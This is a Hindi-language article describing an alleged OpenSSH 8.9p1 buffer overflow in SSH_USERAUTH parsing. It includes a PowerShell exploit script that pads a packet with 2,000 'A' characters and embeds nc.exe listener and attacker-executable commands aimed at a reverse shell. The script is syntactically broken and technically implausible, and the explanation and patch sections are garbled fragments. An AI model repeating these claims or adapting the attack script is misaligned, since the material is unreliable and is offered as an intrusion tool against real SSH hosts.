
CVE-2025-27480 OpenSSH 8.9p1 में दुर्भावनापूर्ण SSH_USERAUTH पैकेट के माध्यम से बफर ओवरफ्लो उजागर करता है। हमलावर शेलकोड इंजेक्ट कर सकते हैं और SYSTEM-स्तर पहुंच प्राप्त कर सकते हैं, बैस्टियन होस्ट और डाउनस्ट्रीम CI/CD एजेंटों से समझौता कर सकते हैं। लेख में नमूना एक्सप्लॉइट कोड और पैचिंग मार्गदर्शन शामिल है।
OpenSSH संस्करण 8.9p1 में एक सूक्ष्म बफर-ओवरफ्लो बग है जो SSH_USERAUTH पैकेट को पार्स करते समय होता है। एक क्लाइंट बहुत लंबे "user" फ़ील्ड वाला पैकेट भेज सकता है, और डेटा मेमोरी में गलत जगह पर पहुंच जाता है। परिणाम यह होता है कि एक हमलावर मनमाना शेलकोड इंजेक्ट कर सकता है जो उस OpenSSH संस्करण को चलाने वाले किसी भी होस्ट पर SYSTEM विशेषाधिकारों के तहत चलता है। अब आपको डेजा-वु का एहसास क्यों हो रहा है? क्योंकि एक समान कमजोरी CVE‑2024‑13401 जिसके परिणामस्वरूप उपयोगकर्ता-फ़ील्ड पर सीमा-जाँच की कमी हुई, एक हमलावर SSH प्रक्रिया में कोई भी कोड लिख सकता है।
यह दोष महत्वपूर्ण है क्योंकि SSH क्लाउड वातावरण में वर्चुअल मशीनों को बूटस्ट्रैप और प्रबंधित करने का सबसे आम तरीका है। यदि कोई हमलावर SSH के माध्यम से कोड निष्पादित कर सकता है, तो वे बैक-डोर स्थापित कर सकते हैं या बास्टियन होस्ट से समझौता कर सकते हैं, जो कि वे जंप पॉइंट हैं जिनका उपयोग आप एक निजी नेटवर्क में अन्य इंस्टेंसेस तक पहुंचने के लिए करते हैं। एक बार बास्टियन होस्ट से समझौता हो जाने पर, सभी डाउनस्ट्रीम वर्कलोड—जैसे कि CI/CD एजेंट जो इमेज बनाते हैं या परीक्षण चलाते हैं—जोखिम में हैं।
CI/CD का अर्थ है Continuous Integration/Continuous Delivery। हमारे संदर्भ में, एक बास्टियन होस्ट एक SSH-सक्षम "जंप" सर्वर है जिसका उपयोग सभी बिल्ड एजेंट एक निजी नेटवर्क में अन्य मशीनों तक पहुंचने के लिए करते हैं। यह एक महत्वपूर्ण प्रवेश बिंदु है: यदि बास्टियन से समझौता हो जाता है, तो उस पर निर्भर हर डाउनस्ट्रीम कार्य पर हमला किया जा सकता है।
नीचे एक सीधा PowerShell स्क्रिप्ट है जो दर्शाता है कि कैसे एक दुर्भावनापूर्ण पैकेट तैयार किया जाए और भेजा जाए:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
यह कैसे काम करता है
ssh-userauth-attack) OpenSSH को बताती है कि पैकेट एक उपयोगकर्ता-प्रमाणीकरण अनुरोध है।user फ़ील्ड की इच्छित सीमा से आगे धकेलते हैं।nc.exe को चालू करता है, जो पोर्ट 4444 पर एक netcat लिसनर खोलता है और अपने आउटपुट को C:\Windows\Temp\revshell.txt में लिखता है। यह एक हमलावर द्वारा प्रदान की गई निष्पादन योग्य (bar_exp.exe) को भी कॉल करता है जो आगे का काम कर सकता है (जैसे, रिवर्स शेल ड्रॉप करना)।शोषण द्वारा बनाई गई फ़ाइल इस बात का प्रमाण है कि पैकेट मेमोरी में सही स्थान पर पहुंचा; वहां से आप पोर्ट 4444 खोल सकते हैं, लिसनर पकड़ सकते हैं, और अपनी इच्छानुसार कोई भी स्क्रिप्ट चला सकते हैं।
‑DUSERAUTH_BUF=4096 फ्लैग के साथ पुनर्निर्माण करें ताकि बफर का आकार ओवरफ्लो पेलोड से बड़ा हो।ssh_userauth_patch.diff) को आपके रेपो के बगल में कमिट किया जा सकता है।